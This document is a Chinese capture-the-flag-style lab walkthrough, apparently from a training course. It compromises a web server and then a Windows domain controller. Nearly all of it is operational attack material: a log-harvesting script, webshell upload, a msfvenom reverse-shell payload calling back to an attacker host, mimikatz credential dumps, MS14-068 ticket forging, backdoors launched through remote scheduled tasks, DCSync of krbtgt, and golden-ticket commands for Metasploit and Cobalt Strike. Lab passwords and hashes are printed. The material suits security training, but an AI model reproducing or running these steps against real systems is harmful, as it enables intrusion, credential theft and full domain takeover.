暗月项目六-内网域渗透


渗透过程概述:
1、信息收集-->敏感文件泄漏-->后台getshell
nmap扫描端口,gobuster扫描目录,未发现后台,发现.svn文件,利用svn源代码泄漏工具 未成功,访问.svn/wc.db固定文件,发现存储网站目录结构,发现日志路径,编写thinkphp日志泄漏工具读取日志内容,发现password并解密。子域名碰撞找后台并登陆,设置上传类型并上传shell。msf利用永恒之蓝(ms17_010_etenalblue)失败,
2、ms14-068-->msf制作黄金票据,访问域控
使用enum_logged_on_users 模块获取域用户web的sid,ms14-068.exe普通域用户提权到域控(ms14-068 生成xx.ccache票据,mimikatz::ptc xx.ccache导入票据),访问域控,at添加定时任务,msf正向连接到dc,dcsync_ntlm krbtgt 导出域控里krbtgt服务账户信息,制作黄金票据。回到web会话,清空所有票据,使用黄金票据,可成功访问dc。
3、cs制作黄金票据
cs 制作黄金票据:KrbCredExport.py将ms14-068.exe生成的xx.ccache转化为kirbi格式u.ticket。kerberos_ticket_use u.ticket 导入票据。获取dc访问权限,复制beacon.exe到域控,添加定时任务执行它,beacon>link dc,cs正向连接dc。beacon> dcsync hackbox.com hackbox\krbtgt 导出krbtgt信息,在web上制作黄金票据,web可访问dc。
1、信息收集
1.1 端口扫描
先用masscan 快速扫描
masscan -p 1-65535 --rate=1000 192.168.1.150
再用nmap 扫描,获得已开放端口的详细服务信息
nmap -sC -sT -sV -A -O -Pn -p 80,135,139,445,3306,3389,49152,49153,49154,49155,49156,49157,47001 192.168.1.150


1.2 目录扫描
gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt
没有发现后台

2、漏洞挖掘
2.1 目录扫描,发现有.svn目录,尝试访问.svn目录下固定文件(夹) entries 和wc.db

2.2 .svn/entries 存在可以遍历文件漏洞,这里失败了。
2.3 下载wc.db,其存储有网站目录文件信息

2.4 浏览数据库,发现日志路径
2.4.1 sqlitebrowser wc.db 打开db文件,查看数据库,了解网站结构
 

2.4.2 浏览数据,选择表,过滤,获取匹配的内容

2.4.3 获取log文件路径
http://www.webhack123.com/App/Runtime/Logs/18_07_02.log 读取log内容

3、漏洞利用【thinkphp日志泄漏】
3.1 编写工具 getlogs.py,读取log内容到本地
读取thinkphp日志内容
# encodings=utf_8
import requests
# http://www.webhack123.com/App/Runtime/Logs/19_05_24.log
baseUrl = 'http://www.webhack123.com/App/Runtime/Logs/'
def getUrls(y):
    fileName = ''
    urls = []
    for m in range(1, 13):
        for d in range(1, 32):
            if m < 10:
                if d < 10:
                    fileName = "{0}_0{1}_0{2}.log".format(y, m, d)
                else:
                    fileName = "{0}_0{1}_{2}.log".format(y, m, d)
            else:
                if d < 10:
                    fileName = "{0}_{1}_0{2}.log".format(y, m, d)
                else:
                    fileName = "{0}_{1}_{2}.log".format(y, m, d)
            url = baseUrl + fileName
            urls.append(url)
            # print(url)
    return urls
def getLogs(y):
    urls = getUrls(y)
    for url in urls:
        res = requests.get(url)
        if res.status_code == 200:
            print(url)
            with open('./getLogs.txt', 'a+', encoding='utf_8') as f:
                f.write(res.text)
getLogs(22)
3.2 发现密文
thinkphp低版本会在日志中记录修改密码,找到时间点最近的password日志,解密hash
admin 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
somd5.com 解密 web123

3.3 子域名碰撞找后台
gobuster 目录扫描没有发现后台,IP_hosts_scan.py 子域名碰撞 找后台
admin.webhack123.com 没有在idc做ip指向
只在本地服务器做了host域名绑定,子域名扫描 找不到
绑定hosts,使用工具 IP_hosts_scan.py 碰撞子域名
(工具原理:先复制hosts文件,把子域名绑定到hosts,碰撞扫描,输出结果,还原hosts文件)
子域名碰撞找后台
 #!/usr/bin/python
# -*- coding: UTF-8 -*-
# Author:R3start
# 这是一个用于IP和域名碰撞匹配访问的小工具
import os
import requests
import re
import shutil
lists = []
files = open('hosts_ok.txt', 'w+')
originpath = "C:\\Windows\\System32\\drivers\\etc\\hosts"
copypath = "C:\\Windows\\System32\\drivers\\etc\\hosts2"
shutil.copy(originpath, copypath)
hostsfile = open(originpath, "w+", encoding="utf-8")
# 读取IP地址
print("================开 始 匹 配==========================")
for iplist in open("ip.txt"):
ip = iplist.strip('\n')
# 读取host地址
# http_s = ['http://','https://']
http_s = ['http://']
for h in http_s:
for d in open("top3kdomain.txt", 'r'):
d = d.strip('\n')
for hostlist in open("host.txt", 'r'):
host = d + "." + hostlist.strip('\n')
content = "{0} {1}\n".format(ip, host)
hostsfile.write(content)
headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
try:
r = requests.session()
requests.packages.urllib3.disable_warnings()
rhost = r.get(h + ip, verify=False, headers=headers, timeout=5)
rhost.encoding = 'utf-8'
title = re.search('<title>(.*)</title>', rhost.text).group(1) # 获取标题
info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip, host, h, len(rhost.text), title)
#print(info)
if rhost.status_code == 200:
lists.append(info)
files.write(info + "\n")
except Exception as e:
error = ip + " --- " + host + " --- 访问失败!~"
# print(error)
# print(e)
files.close()
hostsfile.close()
shutil.copy(copypath, originpath)
os.remove(copypath)
print("=============匹 配 成 功 的 列 表======================")
for i in lists:
print(i)
发现后台 admin.webhack123.com
3.4 登陆后台,设置上传文件类型getshell
3.4.1 第一种登录方式:登陆验证码 可复用,采用密码暴破
3.4.2 第二种登录方式:前面通过读取日志,获取账号密码 admin web123
成功登陆后台,允许上传类型里添加 php。
上传shell.php,右键查看 上传后的地址:
http://admin.webhack123.com/Public/Upload/20220407/xxxxxx.php

3.4.3 蚁剑连接getshell

3.5 上线msf
3.5.1 msf生成tcp反向连接 r.exe,并蚁剑上传。msf开启tcp监听,获取system权限会话
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f exe >r.exe
4、提权
4.1 kiwi获取明文密码
meterpreter > migrate 476
meterpreter > load kiwi
meterpreter > creds_all
获取 账户密码 Administrator !@#Qwe456


4.2 开启3389,登陆远程桌面(失败)
run post/windows/manage/enable_rdp
rdesktop 192.168.0.150
hackbox\web !@#Qwe456
验证账户密码是否正确(密码正确但提示 未加入远程组,有时候本地.\administrator密码和域用户密码一致)
5、内网渗透【msf跨网段域渗透,制作dc黄金票据】
5.1 域信息收集
5.1.1 确定域环境
steal_token 6568 -----令牌窃取【必须切到adminstrator,非system ,才能使用net config workstation】
net config workstation -----确定域环境


5.1.2 定位域控
meterpreter > run post/windows/gather/enum_domain

5.1.3 域信息收集
net view 遍历信任主机
net view /domain 查看域
ipconfig /all
net group /domain


arp 发现内网主机 10.10.10.149

5.2 添加路由,设置代理,端口扫描
meterpreter > run post/multi/manage/autoroute
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
proxychains4 nmap -sT -Pn -A 10.10.10.149

5.3 永恒之蓝 ms17_010 溢出攻击dc(失败)
use exploit/windows/smb/ms17_010_eternalblue

5.4 ms14-068漏洞,普通域用户提权到域控
【域普通用户--》创建票据--》导入票据--》访问dc的权限--》域超级管理员权限】
【ms14-068 漏洞需要以下四样道具:
1、任意域账户 web@hackbox.com
2、域账户密码 !@#Qwe456
3、SID S-1-5-21-2005268815-658469957-1189185684-1103
4、域控服务器IP 10.10.10.149
】
5.4.1 获取域普通用户信息
meterpreter > run post/windows/gather/enum_logged_on_users
web账户sid: S-1-5-21-2005268815-658469957-1189185684-1103

5.4.2 创建票据
上传ms14-068.exe 到upload目录并执行:
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

5.4.3 导入票据 kerberos::ptc
5.4.3.1 load kiwi
5.4.3.2 清理票据
meterpreter > kerberos_ticket_purge
meterpreter > kerberos_ticket_list

5.4.3.3 导入票据
(上传mimikatz.exe、mimidrv.sys、mimilib.dll到upload目录,运行mimikatz.exe)
kerberos::ptc TGT_web@hackbox.com.ccache

5.4.3.4 查看票据
meterpreter > kerberos_ticket_list

5.4.4 访问dc
5.4.4.1 导入票据前,访问dc 的c盘 (失败)

5.4.4.2 导入票据后,访问dc 的c盘 (成功),获取访问dc权限

5.5 域控dc上线msf
【
复制文件到dc c盘根目录 copy b.exe \\dc\c$\
查询dc时间 net time \\dc
at增加定时任务执行 at \\dc 10:10 c:/b.exe
上线msf
】
5.5.1 生成正向连接后门
msfvenom -p windows/meterpreter/bind_tcp lport=12346 -f exe>b.exe
5.5.2 copy命令 复制b.exe到域控
先上传b.exe 到web1
meterpreter > upload b.exe c:\
再copy到域控c盘根目录
cd /
C:\> copy b.exe \\dc\c$\
5.5.3 at 添加定时任务,执行b.exe
at \\dc ------查看定时任务列表
net time \\dc ------获取dc时间
at \\dc 10:10 c:/b.exe ------at添加定时任务
at \\dc ------查看定时任务列表,添加成功
at \\dc 14 /delete ------删除任务

5.5.4 msf正向连接到域控dc,获取system权限

5.5.5 域控dc信息收集,hash获取
meterpreter > migrate ---------进程迁移x64
meterpreter > load kiwi ---------加载kiwi
meterpreter > creds_all ---------检索所有用户凭据

5.6 制作 黄金票据
【黄金票据 不怕域管理员改密码,依然能使用】
黄金票据的条件要求:
1.域名称 [AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID值 [AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
5.6.1 检索域Kerberos帐户(KRBTGT)信息
5.6.1.1 meterpreter > dcsync_ntlm krbtgt

[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
5.6.1.2 获取krbtgt域账户sid
wmic useraccount where name="krbtgt" get sid

5.6.1.3 steal_token 令牌窃取,切到域管理员权限
有时候,system系统权限没办法做 dcsync 所以切换域管理员权限
steal_token 2812 -----administrator
dcsync_ntlm krbtgt
5.6.2 生成黄金票据
meterpreter > golden_ticket_create -u moonsec -d hackbox.com -k 6f60ace6accbcb76078ccc0312174e98 -s S-1-5-21-2005268815-658469957-1189185684 -t moonsec.ticket

5.6.3 切换到web服务器session1,把凭据都清理掉
meterpreter > sessions 1
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_purge
meterpreter > kerberos_ticket_list
C:\Windows\system32>dir \\dc\c$


5.6.4 web session1使用黄金票据访问dc
meterpreter > kerberos_ticket_use moonsec.ticket
meterpreter > kerberos_ticket_list
C:\Windows\system32>dir \\dc\c$
使用 黄金票据 访问dc成功。


5、内网渗透【cs跨网段域渗透,制作dc黄金票据】
5.1 cs获取web的system权限会话
5.1.1 添加http监听器和smb监听器
    
5.1.2 生成http后门
5.1.3 蚁剑上传后门,并执行

5.1.4 选择smb payload,注入(迁移)到x64系统进程


5.1.5 hash dump
进入新 beacon,设置sleep 0
beacon> hashdump
beacon> logonpasswords
 
 【
暂时无法获取域用户web的sid,只能利用msf里获取的
meterpreter > run post/windows/gather/enum_logged_on_users
web账户sid: S-1-5-21-2005268815-658469957-1189185684-1103
】
5.1.6 访问域控dc,失败
beacon> shell dir \\dc\c$

5.2 ms14-068.exe将普通域用户提权到域控
beacon> cd C:/phpstudy_pro/WWW/www.webhack123.com/Public/Upload
beacon> pwd -----输出当前目录 == beacon> shell cd
【
beacon> shell cd 查看当前目录
beacon> shell cd xxx 切换目录失败,直接用cd切换目录
】
5.2.1 创建普通票据
beacon> shell ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
生成 TGT_web@hackbox.com.ccache

5.2.2 KrbCredExport.py 将 .ccache 文件转化为 kirbi 格式
python2 KrbCredExport.py TGT_web@hackbox.com.ccache u.ticket
5.2.3 导入票据
beacon> kerberos_ticket_use
5.2.4 访问域控dc,获取访问权限
beacon> shell dir \\dc\c$

5.3 cs获取dc控制权限
前面只有访问权限,无控制权限
5.3.1 cs生成smb正向连接后门beacon.exe,蚁剑上传

5.3.2 复制文件到dc域控
beacon> shell copy beacon.exe \\dc\c$\

5.3.3 用at命令添加定时任务执行
beacon> shell net time \\dc
beacon> shell at \\dc 18:23 c:/beacon.exe
beacon> shell at \\dc

5.3.4 beacon会话,正向连接上dc
beacon> link dc


5.3.5 获取dc明文和hash
进入新beacon,sleep 0,注入(迁移)系统进程,hashdump、mimikatz

5.4 cs制作黄金票据
5.4.1 导出域账户krbtgt的信息
beacon> dcsync hackbox.com hackbox\krbtgt
krbtgt --SID: S-1-5-21-2005268815-658469957-1189185684
krbtgt --NTLM:6f60ace6accbcb76078ccc0312174e98

5.4.2 在web上制作黄金票据

自动生成的:
beacon> mimikatz kerberos::golden /user:moonsec /domain:hackbox.com /sid: S-1-5-21-2005268815-658469957-1189185684 /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt

5.4.3 访问域控dc 成功
beacon> shell dir \\dc\c$

                    
                






                
            
        
浙公网安备 33010602011771号